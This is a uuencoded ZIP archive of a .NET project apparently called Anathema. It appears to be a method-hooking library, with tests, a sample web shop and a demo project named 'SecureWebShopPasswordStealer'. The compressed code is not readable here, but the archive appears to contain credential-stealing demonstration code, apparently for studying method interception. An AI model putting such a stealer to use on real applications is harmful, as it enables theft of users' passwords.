MC]&4,&"+I!X?*9+^\^MW:H5:P^<9FRKN(HPY.]?Z\7`XZ!IN4N5$C)5MMK$. MX]:1'6LI,71"*\O.4*$18=OEJU#?V[H;7!77VI9;_.$ZNL@@7Y*"W7+[:,D\ M'"@>HTUXB###,#5XAXM9I)‑K;NVS‑LN90R[1#`<OPP&0A)(,T+)>:B6<‑KF' M=RPD21=2A#N\@TMTD5X><8L03T`O'BB1^SEPL[;C'*."J^68"J0ELCLC'%)% M,"CMM8SNW\WAFT7C<_L(>R_[V[U)Q<(K#K9[HTD6Z7Y_7OPXF(\/:ZPM_<R_

M&GD;O38\WI6H==S15Y[8A5II.$,W3:D/%.FYP]P2[$YOI>F%P@B")VZ`(F*\ MD!L0"J9)<J)C+A0[3HTAO.+D`^1N`FTPKI!K]):(%00E,#M‑I;RB(C$JJR,X

M&XP:73`J`7>!=JDWF‑]N$B3VU=G3];J:Z1O!:^8U<!][_JK8%?G_C./%H$MMQKL.=X+4!(:FQY]\)OEKMH).X$@H/V.GDJ\MF^4M\;.IO=+J.FN9NN5J>=6" M;U17JOK8S451M=H‑7DMU*ILX59:O$)ZT6,(E%3>PSN?^SP']\`%"@U0),/GB M:YJI.TH#?`*%SU#LQQ‑!6\B%$9I@?‑B]$]%Z+2[X31MD&‑G3QXF0Q6#U7>2= M\2.8_K%L7R]C3)?+4R$=,7/T\GH5]"^T\02:T\.*=<%&\+Z'!_.]ZV‑V"LB3

M1&ZRE+OY/`AW7M?B2WYJ4R^]V(6BYY0R\_%X._Q\FQH7])*QW@1$'@QE"\^X MR/A1(OYOI^G>GW[LV\>SG94M]`+;_F5+G[]02P,$%```````>5B&2P`````` M`````````#$```!!;F%T:&5M82]396‑U<F5796)3:&]P4&%S<W=O<F13=&5A

M;&5R+U!R;W!E<G1I97,O4$L#!!0````(`'E8ADMI&J??@0(``+P%``!````` M06YA=&AE;6$O4V5C=7)E5V5B4VAO<%!A<W‑W;W)D4W1E86QE<B]0<F]P97)T M:65S+T%S<V5M8FQY26YF;RYC<YU4S6[30!"^5^H[C'IIJ$B:T%^5$Z2BRJ%0 M‑:4((0YK>S;>=KUC[4^"'XEGX(#$"_$*S&[=.!$‑E4@.'L]^\\TW.S/^_>‑G M<,K,8‑HXC]7@&J7&W"LRK[>WUD^"\:K"P9BJ6FFT4[1SE:/;A)L8CY;J%=CV MUOX^7*!!*S1,C"1;B9@)1$;!@V##.:PRW8!RD)/QEK3&`GQI*<Q*?B)(=M$B MYDMT#CV0!.&]55GPZ`8P+H69800[[`Y@+G1`!YZ@HD+))K&I3D6DBP(H5\)S MTH7RY:JFP?;6ET?[#‑ZTUHWR&GL[4\R#Q4^834NJKQBV(%M,/0J^J)T77Y\, M/4>76U7'W+V=3:`Q&:EFP8KG8%4M3+,9<&6I"+G_/Z5CJANK9B6'+TWX]1W@ MU7!TLBGHQHH"*V'O_Z$Z:,]B6D!JP!2]C\WE@FZ54YG&V#$I‑/>R$O>Q@26[ MFIHM9?A%N6YJ#'F8MU&1+8:./UQ"SK=#!HWGZ8")A(8"&,0BGHN<AY,Y$N?? ME‑)2E;@BT<LX;DE`)Z^;L,CF;4"@2")\8ER?FBZLETI:EGVS‑MD7'R?G<05X M‑E,V?B.Y+%RK#)1\T%E;NN‑UC6#\5I/#HJUY+>U%4$5O9X2C0RD%]H_S0]$_ M/,E%/SL]&/:/CPZRDV$A3T='1UTC;M$Z'KG5#8EZ5C<BKJA3SKM675<!6\&V

M&W<6Z1)E^EV*.V9IV5?<RG1NZ/QO@](%O`]5AK;S7N‑</<8G[V?N:,[27(UY

MW&VA‑2M:+CU3‑RVB0"EX[.+I`SE75"P)VTSN04'60/JT)?#NWBY7#JZDA8$, MN="S!'IBKMLR^,H'P\%>NM‑G4/&_"?>.O[9/8O\`4$L#!!0````(`'E8ADN# M[R3SGP0``$`.``!)````06YA=&AE;6$O4V5C=7)E5V5B4VAO<%!A<W‑W;W)D M4W1E86QE<B]396‑U<F5796)3:&]P4&%S<W=O<F13=&5A;&5R+F‑S<')O:KU7 MVV[30!!]1^(?%@NI(&$[B9W8@<0H35‑`XA(EW![RLK;'J:F]:W;7T'#Y,A[X M)'Z!L1,G3M.&(!4>VLBS9\[L7'9F]]>/G[W'%VE"/H&0,6=]K6DT‑`(LX&', MYGTM5Y'N:H^]V[=Z8\$_0*#(:\X3^7:‑MPN%$XAHGJC75,Q!R;YVG,=)J!%D M9OAUIE3VT#1E<`8IE48:!X)+'BDCX*D9PB=(>`;"3*5?J)FM1L/2T"(AO6=I MQH4B*]‑][>Z]%].2>W2A@!4[D&.JSN[/U@OUW=V?O5B;&O(TY<S(!,^D1H:< MA;$J'1A=Q%+)>T<W0WUT7R/F<N]C47BE%D\$S[‑2A$(T',7S7‑#">'T;!#>P MM7C_B/3[Y.B(:‑X)^/F\9VXM5X3CA*J(B_0R5R6OT0S88CA^TS.KI15%E=@G M>1QZ7YNCIGUZ.ACIG:$]T&UG.‑"/7:NA=]K6L=,X.76;[?9WY‑CH5#2O<I7E MZO4B`V]T`3US\UTA!EEV`C*>,Q"G/`E!>*L8Q2![YLYJI3;A7+VD*<B,!N!M(<@%O`‑_>L:S,97R,Q?A5`%‑0/3,.G9C5TI(_62!"W_2KT'7ZLNJ/A4H0NSY MJ@*\3[;1,5H]\^KE2ODT3F"0H%<I,.6UFZBP)5KO,5?\":#O5,%QS(K3‑X$P M%AADZ2F18T#W0:[9*\8W0FM529K;‑;E;IOLK\MM.6965^6U96%ABEXMRN9MU MX6V+*W#),5VD/D\J3^NB+5A935&>)"M,O;I>92I.XR^X3A.))‑7W=GT69]KS M8S8K]6<(6XLWEJ*8`;HN%648VI/1\9LGCUY/!L,1FMU>K'1&0G`Q@:);>=@( MTDSUS)JL@KVC@F':GA<]S[‑[9OU[70E)PC^_89)&<)SPX+P*RH[\'^5T`@E0 M"3>1U3(]6>ASEBSV9*QP\,\)6^WKH)3]GV1=&?MG"M*MEC^!"`1.5"#/6)#D M(?2UZ4(B"B?%'S$X7`0<!'R?)L;SF'T\"'Q"%2W_34%MYMU^U=K`FYY1D1UL MZ"#@2U#&4Z4.8T5?M75/*P*^+_Y#3'"<U$@P:7‑LD$90.'PM:C.:9M50>,8B

MCEJ'FW[)68T1!YP1E(?O<(;5G+TB%(8Q&TV‑`:.JN%65=;(C,"*9(4%U@C=\ MWE??:@5VA[JZY?MMW6XT7;UK=4/=M=S`<JQ.E_J=S9S?$)2#\;*=GEF?E^;E M3?^U,T\Y/]\1['$F;+4[#=^BNN.&OFZ[CJUW_6Y3[SI!VVE'8:/3;!WD3&'G MIIV9Y`S[&EPEV^‑2DX;0Z;J6WG&BKFYW(ENG@85)BMI.RVT'C2!T#G)I:>I& M4K1U==K^VN‑)Y(:MH&6'>N0T+=UN.6V]&[1"W:>NU7:ZG29UKT_.EI%#?‑@] M4KM/B,UU?G7%O]S:#%7.LLU)OZ/K^.XA*;Z*H@59\%R0\JU"T.D`I'Q`:!@N MY8K*<Q)C0PV!<(9_$<%$D!4C\0&G.*$L)#G#YT]Q!22Q,DCE‑GF%:$$D3L*$ M"@)5<R89CQGJ0_%<>4`D`‑EY@:QL&,A5W01)$3%\CT&$QW3Y*EN%:36N=[&#

M2(&X#JKK^+‑)UF]02P,$%`````@`>5B&2PZ4U%:+````LP```"$```!!;F%T

M:&5M82]396‑U<F5796)3:&]P+T%P<"YC;VYF:6=5C;T*PC`41G?!=PB9M5$1 M<4CLI*.#B'MHTQ)J?KBYM_IN#CZ2KV"J0G$\'X?SO1Y/6=[=E?4&D@U>\66Q MX,SX*M36MXH3‑O,M+W?3B:R";VQ+H#&+>6!,)M2`%#\P(,48`$U](H_6F;': MKX=LZDCQXK@_'T`[<PO0S2X_(PN;8L69^(;%6);B__@‑4$L#!!0````(`'E8 MADLKDH^OE0(``.P%```F````06YA=&AE;6$O4V5C=7)E5V5B4VAO<"]!<W‑E M;6)L>4EN9F\N9G.‑5‑M.VT`0?4?B'T9Y(:#&D``‑H*I2&U24!]J*4*JJZL/: M.QLOK'>MO83ZD_H‑?:C4'^HO=‑9Q8D.Y‑)'LO9PY<^;F/S]_:5:@*UF&,,,L M6/R,Z2PW9?+&.2Q254VU,)L;FQNF1`VSRGDLD@L4"C,OC;YW'K27!2834Y12 MH9VA7<@,W<.HJ?9H3;D"12>[NW"&&BU3$/W:@D4GP%(3/#!:‑*)`.LB,]M8H MA1Q\;DV8Y_1&$'1D;J6>0TWGT(,1P+RW,@T>70*3G.DY1K##]@(63`5TX`T4 MADM1U6RR51'IH@"32>;)Z:WT>5=3LKGQ]=5J<P*K_%U*K[#?NY/<WO;K;P^C M3]%E5I;17[_W.&QBM)#S8‑GSP*)DNGH*\M$:'C+_WQ(GIJRLG.=DL5["[Q\` MH[WA^'&S2\LX%LS>/"DW*$\:5I`ZY3/T/I:30KF23J8*8XT$4U2]@MW$DN5T M5)6TDIHVTK5]HHV'16,5V:+IY,,Y9)07HU%[Z@>8"JA,`(W(XSW+J!N)H^;\ MEU)84]1<D>A%;+!:0"NO[:G(YFU`,)&$^9KQ7I^T=OTZIC;PRSO=?/9I>AK; MGOJQ]D<[(]:A*YF"%$NEI377‑)T1C‑]+XY`W4=]U?!8D[_?$$1]EHP,^$./A M_N!@‑#X<'&<C/DC9T?[A^/CED!V‑.L6X0NNHY;IS$15UYR`.II/.NT9?&P.M M@FWF[*2FJQ_+WSF[)IZ&OWLN=7O>‑7@;I.+P/A0IVL[Q!2[DFJ)^?*':9B30 ME9C%N69*D:[UP!‑[U2`X"D8=&&^7]!077S,VOMR2‑:T@.`JJ!F_M;%'\X')S MJR%%"G<9WT,]WH32[PV3O61GF=MG<?1_'/F.OK7WT:N:<?IXQ[3TM_\"4$L# M!!0````(`'E8ADL55TA<F````!@!```F````06YA=&AE;6$O4V5C=7)E5V5B M4VAO<"]P86‑K86=E<RYC;VYF:6>5STT*PC`4!."]X!W"VYO^4,%%8\%"EVYZ M@M`^8ZA‑PFM:]6PN/))7L`AJP864V<QL/IC'[9YFE_;$!J1.6R,@XB$P‑)6M MM5$">G]8;2#;+A>IDU4C%79C9^R]F*X%['*Z.L_WZ.$+A?Q%>4D*?4&RQ;.E M1H!!GZQC8,&O4Y1'28[GEG`")3P<$\VCREX.4R3F\5\B#3X7GU!+`P04```` M"`!Y6(9+:8T5B00$``#C"P``(0```$%N871H96UA+U‑E8W5R95=E8E‑H;W`O M4')O9W)A;2YF<[56VX[3,!!]7VG_8<@#:J1NMETD0*B)!,M57+:B!8000MYD MTEA*[&`[NUL!7\8#G\0O,$Z3N&G#5<*5JLS]>#R>\?>OWP0K4)<L1EA@7"E\ M@^>+3):'!X<'LD0!B[4V6/2(8(E7IL]Y@1VC8A<8D)<>_=B8<E=ASE3?:%'% M,6J=5GF/_9#G!I7N\<Y*5,S(CGOO5*U+8V%8X(5,JAQAKN1*L0+"PP.@E:.! M4O$+9A`^L#B6E3`:0GA'XF:‑/)847'CCUN%CIK,YT_I2JJ05^OZVP:I";88‑

M&F%G\/[P8!\)JTR&PO"8B%&E4=D#N0,+H[A8C:%L?+4<O]Y‑L]PNFN5$GR‑X MQK4)\(K^]2BM!‑3>QY`10A^.(J?;0FJC/V<FSB"LZ>#!QXKEND,V;G"<RJ)D MBFLI@C.5<,%R?\]A![YQV.;H‑2J>KD>M=`.I;[Z#Y?KUOB^GZP_E]))J&‑4% MJM‑T‑<JD‑EOYE(JH)\+<./$)T2?HATTP955N3J5(^0HNN>E"N77.14*^ZM*Q M=7UO0P>Q0AO\\7(YA]&3^=TD453‑`96Y1K`H?#H"+LST9HW"?[_O.J?#0K'D M!<K*D'_[M2B9"!XJ63SG.<DQEB+1,#J93";!5M*^#"7"J/4C‑(2`,DEW:!2; MJSM@,=,&#5WB,=@<#]9642>>#`*%'VT9!ZE4Q7UF6&VSDYO/<)I)'N/T+#V! MLHWWFN454JG!0I)%G[UM^\'JO)`"A_:0RQ47>\A[6,^>@N=YCIYEILBC;1I9 M$LT,‑SE&;S"/+1PCP62‑>Y`I$6T+!&I.8)O@['AC,CNV#K8=GLMDW=`NR#0Z M"G==P+/:?WA$/J:[%C:C0"G)9!)Z\[/%T@,6&RY%Z!W7N#QGX:P,.\^Q$>P+ M52,9EB;1J[;%T.:2W^C.N"BI#LVZQ‑"S6??LV=‑W>SN]Z!=>2*3^&6;;0_\: M9MLG‑E`=_?^@_BU"79T7O$ME71__`H[832'TN;:HB.D83:TZ1GT[7..S=\=> M]*'+E\AGO[]^FU8Q&F@V8W"EXH]A4,.=D._O=951W3G<\*G)UH#4:70.3U`W M.>VLJSO$W4[/7C'0W6LC7P‑>T;4UF%RK,]'K3:WY6UD!F:/"I.X5ETJ*50?M MN`T'U%QH0M0Q:F>_'%`O)46UD\2%C#,I:6"\ZY_KHP=+B,)H5^H6[==DX!U[ M5FW3U7ZJ4TN'%=TSQ2WJ3/W@/9]_$F531OMQNL^A)&E##\0W;:9^.<<WQJV# M.%U!N/\(V!BYD;D3P)KM'DP+Z]WL@:#BG4L:W]%[![5@G.I/K2ZV3Y`V0&JI

M`&]@'(1'WH#BPB*QP4%OL%!]3D]N!1/Z3>_<GMR>.*O=O'B=(KU"K>K6#B>' M!S\`4$L#!!0````(`'E8ADLY[\2`K00``$,0```K````06YA=&AE;6$O4V5C M=7)E5V5B4VAO<"]396‑U<F5796)3:&]P+F9S<')O:LU7VV[30!!]1^(?%H,4 M(A$[‑Z"`8]2FI5304C7E\N`7QQXG"_:NM;L.#>+/>."3^`7&E[6=A(2+*$)5 M%>W,[,R9G8MGOGWY:C^]BB.R`"$I9R.C9W8‑`LSG`66SD9&JL+‑G/'5NWK#/ M!7\/OB*7G$?R324_S"X<0NBED;KTQ`R4'!D'*8T"@Z!FAJ>Y4LECRY+^'&)/ MFC'U!9<\5*;/8RN`!40\`6'%<II=L_K=[L!`BX38)W'"A2*EZ9%QY^[I)‑=] M=*6`90CDN:?F;;=B‑‑&UW=/*U)C',6=F(G@B#3+F+*`J=^#HBDHE[[;^CNI6

MVR!6@?U<9%ZIY;'@:9*3D(B&0SI+A9<9;\(@"&"%V6Z1T8BT6L1P#F&:SFQK MA:T5GD>>"KF(UW5I>D/‑/EN.SU_;EF9I%9,\+J5C3M_LVM8*2<N543A.:>"$ M>T'?[P^#3OBP‑^@,^P_O=Q[Y_:`S]?8&]Q\^>M#S]OIHJ;ZAE;Q*59*JRV4" MSM$5V%9]UA(7G*LS+P:9>#XX$_!3`6]A.IGSQ+::S.K&OI003Z,E,C8N‑'B5

M?)&FSP22/G+Q0;NY&)H/3$3]8W9E+%7\&!A@&."`LJQ,+B"@`OV4CA(I^K1+ M9`W#9.Z)9,P%:"M#$PLJ"\$6`7W_1[[N\!$C$=((=&Y:J\FYF:^[4_/S1G[E M*?JYR##,‑8TB)T^6\91'^G&:I!6Q/`?"‑(I*F69.O$H4C>DGY'N11"7Z7'M+ M(]^+4&,I4!%6\RZK:&=*F9M;<%%11:ZQA)0!^BN5QS!>AT<'KX^?7%[LCX]L M:XVI[[SU!,,@O\Q:F3.PK>9YO5"+P%3%N$JN0'`_C8&I_+F?8>`:H%>";KX[ M?6E;&^)UR4((8M`_H*I\_@;EFE+A`B+P)‑3)L!GE))AR%BUW!#I#NRO.&?\7 MPEQB^:5`_Q<A+@'_\R!K7:>4T3B‑WU"9>M%$I0'E9>‑II@%FP3;!^L‑E.+V> M;6V7VXYL/.=<5NZ]G<.Z\>U6>SB_M'3&K3OY&Y_]0;_MFF;]D2>3PQ?2?7;; M'9A=M^JJ[@*;=6,2*+JU68Y!K78!I(12,$M>GHC7:‑NV‑LQ56#;?O*!F#UW5 MD9J#^$@E_)VGK&"ZS="YBQ^'TBVP7\O#_ETD?_+,S:?‑SD6V;YMW‑_37`^:) M@GAMN(R3["‑_POPH#6!DZ.'GA(7<#"7>W"J*)F>86JM29YPUM26)Z>?‑?T41 MPR=6M10.9A^\&<A:M/2S@KL%_476LW#S:%@\&(MEHLPS4(V2?DY9T<>Q1K0Q MMY;$Z:F'A1'1J<M`#>XW64$V7.C[S<RF"QS5G,N\>9:G*EX5KAU`RZS(YK2? M(6V(9J‑>!E>#'7:;W.M#&TN?"[2)L=DA‑4F]Q4^]R87,/OXUO,BIUXA_LI28 M/(C^IS+Y0_Z2X!E^6P7UY=9\O=7IX.I+8ER,PR59\E20?%TEN/?Y(.4]X@5! M05>>_$`H]IT`"&?X'Q*L>23G14RFN.]^)!X+2,I\W!VS\J'*)%5+RSL$D3CY M1)X@H'L823AE>!^R?GN/2`"RL826‑DS4I7<`@FM!5DL0XEL4BWGI83F0;,KN MAPK$‑M%.!W^JW<[Y#E!+`P04``````!Y6(9+````````````````#@```$%N M871H96UA+U1E<W0O4$L#!!0````(`'E8ADMSG*9QB````+H````8````06YA

M=&AE;6$O5&5S="]!<'`N8V]N9FEG78[+"L(P$$7W@O\0LM9&1<1%TJYTZ4+$ M?6C3$FH>3&:JGV]**T)G‑Y?#N5=6'_=B@X%D@U=\7^PX,[X.C?6=XH3M]LRK M<KV2=?"M[0@T9C`'+)],J`$IEFSZIXQB#("FN9‑'Z\Q?/AQ'>^I)\>)V>5Q! M._,.T&^>,Y&!4W'@XJ<7LW_L%\L!7U!+`P04````"`!Y6(9+=??0Q@P$```<

M&0``&````$%N871H96UA+U1E<W0O4')O9W)A;2YC<\68W6[3,!2`[R?M':S> MD$I3H"V#BPDA&.‑/%*%U$A<(65YRNIHE=K"==A'BR;C@D7@%CO/39DE'&Y)V MT:1F]O'Y^7QB'_O/K]^QYN**3!)M(#PY/"C_ZY[*(`#/<"FT^P8$*.Y513YP M\;W:=@$WIM8V4\!\;'`OF+[6R^ZSB?M",#.#D+GGL3`\A+5];Z6\7G9HPPSW MROWHJ@+W(S;/5^/'TKO^P"\54TG5G7.8YI%AS^&!8"'HB'E`+D";PX,?AP<$ M'R]@6I‑/2EXI%F9‑MB=_(L7GS`")A693*)QZSXWUE9PJP,Y);)R)4=9R"&8F M_8]HZ34/#*@C<I%$0$(IN)$J?7]&1!P$_<S$TMKJF3‑%=&RL'"Q(CNL51\^M‑P/E]$_J\C‑T)AM0N%852T7<=P(#"()4P`JG+V@,R881#V"<NM^OCK42+WP_ M"\DI!_/\.3'X*Z>.99H‑'V?]_:,:#:OWMF8%)E8B=:YD\V<AMIJ!)?JYY#YY M)U";!Y&AGL205.RA09J9<[9!NYJX7BF!W`E+WD(02‑>U"GO6WSJ)B6'*K)V& M$%7ETU!H<GJ?I0K\5%5=D8R<_O_%S>U,"@^Z#'H2`;ON'14S6K07\[E#&E8T M,^]T#8K1K#T'11?<S*B0‑&(*\Q*E="MVJ>Y3NX2X6?8/&F7‑FO'[(2`%[`S! ML"6"8;HVR<MOX*'X7G"813DCJ)Q2GT^GH$`8:C^';@&‑6@(:.;WT<\)O=308 MC9[N!='MC*%,^#3?";J%,\S7&_!;4MIS&LVX‑Z.*<0W(AI[=H)0M/;J%\[@E MD\<[7UW,C!F:;>O8]U+*`%C'$(Y;0CCN'$)E‑R[BO^P@^F)S?J?/YB#N97<^ MQ1H+`W$_*VX`SP+@V,&Y1\ZP\T^K7‑.9Q9U;==ED4ZH\C`)(<R(K]7;#=64E M1XMFAEW3TG&$;];($ES;‑9DE$ZLTY;!+/F4[SO"([+\Z7'ZX<ZY,S()NRNDT MJCW4U/=‑3X.AD9+HA$E:(LMH686?4.%@5\0VGT)2\SA@,!P]=H^?=$QLN3]X MP.=X88!;9*Q!41^FN*[ZU'[''5?C3^C+EOOE$_JB\]2I@0`1AZT"+W+H/%4) M9ZCO'K,(Z5D/=L\M6_!;D:M‑^‑‑&"9,:R.&,DTGFS^"1>_P(UR0M0PPEO1SK M;<ZTIXYN#JP,:LRX<#)S7[X2IJ[TW6`>/B2^%`\,SA@>]A*"=XP$;L"+;=E. MI/+M]9W$5K7`HIYP%&0)8=,IGB=288‑77GB#I>/`W%V+‑+N).&DTN'J(/_EO M‑^X^W#7U:?‑)^K:^?][EU83K._=FR>U/:ENK6'O(V=[9Y?E@X\#;I?"6N;*^

M(MS&O;P*VLRTO/‑7Q9IO=]N/M[M$$_DL^.K:D?_@WU]02P,$%```````>5B& M2P```````````````!D```!!;F%T:&5M82]497‑T+U!R;W!E<G1I97,O4$L# M!!0````(`'E8ADN;JIX!<0(``(P%```H````06YA=&AE;6$O5&5S="]0<F]P M97)T:65S+T%S<V5M8FQY26YF;RYC<X542V[;,!#=!\@=!M[$#6K'^2I)5ZV# M!EZD+1(W0%%T05%#BPE%"OPXU9%ZABX*]$*]0H>T8MFHW4@+C8:/;]YH'O7G MYZ_@I)[!7>,\5L‑;%`JYET:_V=U97PG:RPJ'8U/54J&]0SN7'‑TVW$1[M*9> M@>WN'!S`‑6JT3,%$"V,K%BL!RTWPP"AP#JM<‑2`=<*.]‑4IA`;ZT)LQ*>B(( M2IFG6"_1.?1@!##OK<R#1S>$<<GT#"/88;<`<Z8".O`&*E‑(T20VV:F(=%&` MX9)Y*OHD?;FJ:;B[\_4YOH2W;3257F&_‑T7G>Z^^;81<H>‑6UK%&O[<‑‑#9: MR%FP["5853/=;`=\LJ8(W"\4;6>I&RMG)<&6(?S^`7`T.LRV;9I:5F#%[.‑_ MU`7E@\4$:,=]A]['89'P>^EDKC!.0#!%LZG88QQ(2:FFIDAJ>I&N<X$V'N;M MKL@6MXX_W@"GKV`T:D_3AHF`Q@30B$5<9YS,1AR)\U]*84V5N"+1ZVB?)*"3 MUSDFLGD;$$PD83XQKKN@V]9/+2W;GJXY]?KSY"I:FKR6JM&;$<O&E<Q!BH7. MVIH'.GX1C‑]KX[!H>UXK>QUDT>]='(\R=I0=#TZS['!P<G;"!^?L#`=XS,^R M;"3.^>E%‑XA[M(ZLM>KXJ&?5X?'(.>F\:]5U'5`4;'N"+B‑=HDS7#7L@EI9] M)2UUEX8N_RY(5<"'4.5HN^PMSN7S_I3]0A/E),W5R.‑994J1HN4A)NJF110H

M&‑DNKB[(J:‑B2=A6<@L%>0/I5Y7`>_M[U#FXTCQIR)$:O4R@#;YNV^CW#H>C MX7[ZIB^@XKT‑]Y[^GANQ?P%02P,$%`````@`>5B&2[;L'SU5`0``VP(``"`` M``!!;F%T:&5M82]497‑T+U‑A>4AE;&QO36]N:71O<BYC<XU1S4K#0!"^!_(. M8PZ20$T]6^JA8E6P14S00RFR32;)VOU)LQLQJ$_FP4?R%=PVL='4@L/"[LQ\ M,]\W.Y_O'Z6B(H6@4AKYP+9^NOZ99`PC3:50_@4*+&C4A5Q3L>K&;C%IRKJ9 M$)_U3BPKD,0FX(=$+95)VY8@'%5.(H00E;:M%]L"8WFY8#2"B!&E("#5)3(F M)U)0+8L:T0!;<!?F3E!G,AX1A<![(!>/1NEL#J1(E5<7;_NT1A‑P.1P,092, MP>$A<']J)/KGJY(PY3I!CF3I>‑L&;9..]?O`94R3"K*U*#!C*I)B#>PR_HMD M2[1K3Z0`#</‑;+/C^6`_*C$H;5:LPRI'UUN_QA19[#H/C4*G!R,JUFL:,Y(J M?RK%3?W!K[\35T)I(B+T]M`E?H#ZCK`27=T#YUX6+(:DD!PR*9<8`]\L"$Y/ MCD;.7TW>OD.MVSZ;RYPO4$L#!!0````(`'E8ADLA?JJ/_00``"(/```9```` M06YA=&AE;6$O5&5S="]497‑T+F‑S<')O:KU76W.30!1^=\;_L#+.J#,%DI`` MT00GQE0=K7:2>GGHRP*'%@N[N+NH\?++?/`G^1<\$$A(8R/.J`^]</9<]WQ[ M+C^^?1_=_Y@FY#T(&7,VUKI&1R/``A[&[&RLY2K27>V^=_W:Z%CPMQ`H<L)Y M(E^M^?N%P$.(:)ZH$RK.0,FQ]B"/DU`CJ)GAU[E2V5W3E,$YI%0::1P(+GFD MC("G9@CO(>$9"#.5?B%F]CH=2T.+A(R>I!D7BE2FQ]K‑VT>+4O?LHP)6>""/ MJ3J_<[H^:'IWY_1H;6K*TY0S(Q,\DQJ9<A;&J@Q@]C&62MZ^]7=4W[JC$7/E M^[$HHE++1X+G64E"(AJ.XK‑<T,)XTPV"#FP=WKE%QF‑RZQ;1O(?@YV<C<^NX M5GB<4!5QD5[65=,;:B9L.3U^.3+KHTI%G=A'>1QZGX=6QYGT'$L?.$Y7[]O] MJ>Y.[)D^LZ:VXW0.W>E@^!5U;&1J‑2]RE>7J9)F!‑_L((W/S77‑,LNPAR/B, M@3CD20C"J^XH!CDR=TYKL3GGZCE‑068T`.\$I!J93=I&OY20^LD2#VJ^!FGMMD+IH4#2!RXNJHQZ[_N&;?1&YJ^/:^'#.(%)@EZFP)0WZ*+`%FGM2Z[X(\!8 MJ((',2M>TQS"6."E24^)'"]H'\L5ON)]16BMAIBYC;%=V.U'V)<=F)1(^[(" M"D+F,LA6WJR!M$VNF4L=BV7J\Z2.M$G:8BO1$>5)4O$TT?(B4W$:?\)SFDA4 M4G]OXZUXHYX?L]‑2_A39UN2‑I2AF@*%+11E>[</9@Y>/[IW,)],9FMT^K&5F M0G`QAZ+Z>/BPTPRQU*#5;*^I8)BV9T4‑\_HCL_F]1D*2\`\OF:01/$AX<%%? MR@[]'^5T#@E0"7\CJV5ZLM#G+%GNR5@1X.\35OG5*F7_)UF_O/LG"M*M$CZ' M"`1V2"!/6)#D(8RUP\4Y%1DV`@$'I&Z‑?<,RL)L>D"EVQES`F$&N!$T.R''N M)W'P%)8G_`+8V.]8T2!RHFXW''2H10\(!A&`E%Q,1'`>*PA*^:/%DV?87?;X ML5A*]+8‑3^EK*\;76)GX!VD<(B1D*XDW:6(\B]F[5LP/J:+EKP6H3>?=+]IH MO>7%MS;4BO$Y*..Q4NVT8JS:NAH74‑F'G"E",TZ:2NCR,6`9..(L5EP801'X ME=P(SC‑L!+_GJEKJ:=W\GK"(_T:JZ)9'H,YYN/&E?6#/.6OHPD9N!&51:J^A MFB=^<=&&<3I;&!‑&53$]EKC=(1B1S%!!7=DV^KS/OM4+^C9U=<OW!WJ_TW7U MH34,===R`\NQ["'U[<T\LU%0#@R7[8S,YAQA7G;ZCX‑YS/G%#F%/,&%O8'=\ MB^J.&_IZWW7Z^M`?=O6A$PR<011V[&ZO53"%G;\=S#QG6._A5[0](75I"/;0 MM73;B88X;T9]G086)BD:.#UW$'2"T&D5TLK47TG1$7;C9[$OJ%@V_S>"*Z/H M.T,[`B?0(S=$E'5#6W<Q`MV‑>M3M^?9P$`971M$PT<;[W<>TNR1M%I9JB;E< M,@U5=O?‑&[^AZ[C9D13WOFA)ECP7I‑S&ZEYT0&@8KNB*R@L28Z$.@7"&/Q'! M%)!*(_$!YQI"64ARA@M>,1236!FD#IJ\0&Y!),X&"14$ZJ)/,AXSE(=B(3L@ M$H#L[%B5#0‑UU;,Q*6X,‑TZ(\(&N]L[JFJH!9I=W$BD05['J.O[9I.HG4$L# M!!0````(`'E8ADLJ$7*1)P$``)0"```B````06YA=&AE;6$O5&5S="]497‑T M365T:&]D36]N:71O<BYC<XU1S4[#,`R^5^H[F!VF3J"(,Q‑(,‑`FL5)IJ\0!

M.&2=VP;29"0I`B&>C`./Q"N0_FQEZ0&L2(GM[[/].=^?7Z5F(H/EFS98C'WO MMTLFDG‑,#)‑"DRD*5"QQ(7,FGMW8`M.6YF9B?#6]6*Z0KFV`Q%0_:9OV/4$+ MU!N:(,2HC>^]^QY8VY0KSA)(.‑6ZSH1H<KD.I6!&J@;30CMX'Q@TW@75",41 MR‑6CG?;N`:C*]*BA[RIUQE(("C@X!5%ROH‑U4,<F=FF2([E5S*#=$@:#611= M0W@5SZ++$QC`(13DQ@H=C??9'[[7[US‑MFT.PV$]*YFCR$P.9W#\]SRIM&M. M<@A>J*K8P,2>X#[['XKNS?EB6FNI:I%8+HVR/QF,MIH<7:[;/=O+GA]02P$" M/P`4``````!Y6(9+````````````````"0`D`````````!``````````06YA

M=&AE;6$O"@`@```````!`!@`!8YI@GENTP$%CFF">6[3`=C/9()Y;M,!4$L! M`C\`%`````@`>5B&2UF<X)57`P``AQ$``!@`)``````````@````)P```$%N M871H96UA+T%N871H96UA4VQN+G‑L;@H`(````````0`8`(CH:()Y;M,!;N‑D M@GENTP%NXV2">6[3`5!+`0(_`!0``````'E8ADL````````````````:`"0` M````````$````+0#``!!;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E+PH`(``` M`````0`8`,:[:X)Y;M,!QKMK@GENTP&(Z&B">6[3`5!+`0(_`!0````(`'E8 MADN:C7Q&EP(``/4%```I`"0`````````(````.P#``!!;F%T:&5M82]%4RY! M;F%T:&5M82Y#;W)E+T%S<V5M8FQY26YF;RYF<PH`(````````0`8`)PE:H)Y M;M,!L:II@GENTP&QJFF">6[3`5!+`0(_`!0````(`'E8ADN"R\AS<00``$8. M```Q`"0`````````(````,H&``!!;F%T:&5M82]%4RY!;F%T:&5M82Y#;W)E M+T53+D%N871H96UA+D‑O<F4N9G‑P<F]J"@`@```````!`!@`=:IJ@GENTP&< M)6J">6[3`9PE:H)Y;M,!4$L!`C\`%`````@`>5B&2YIA,3?\!@``UQ8``"0` M)``````````@````B@L``$%N871H96UA+T53+D%N871H96UA+D‑O<F4O2&5A

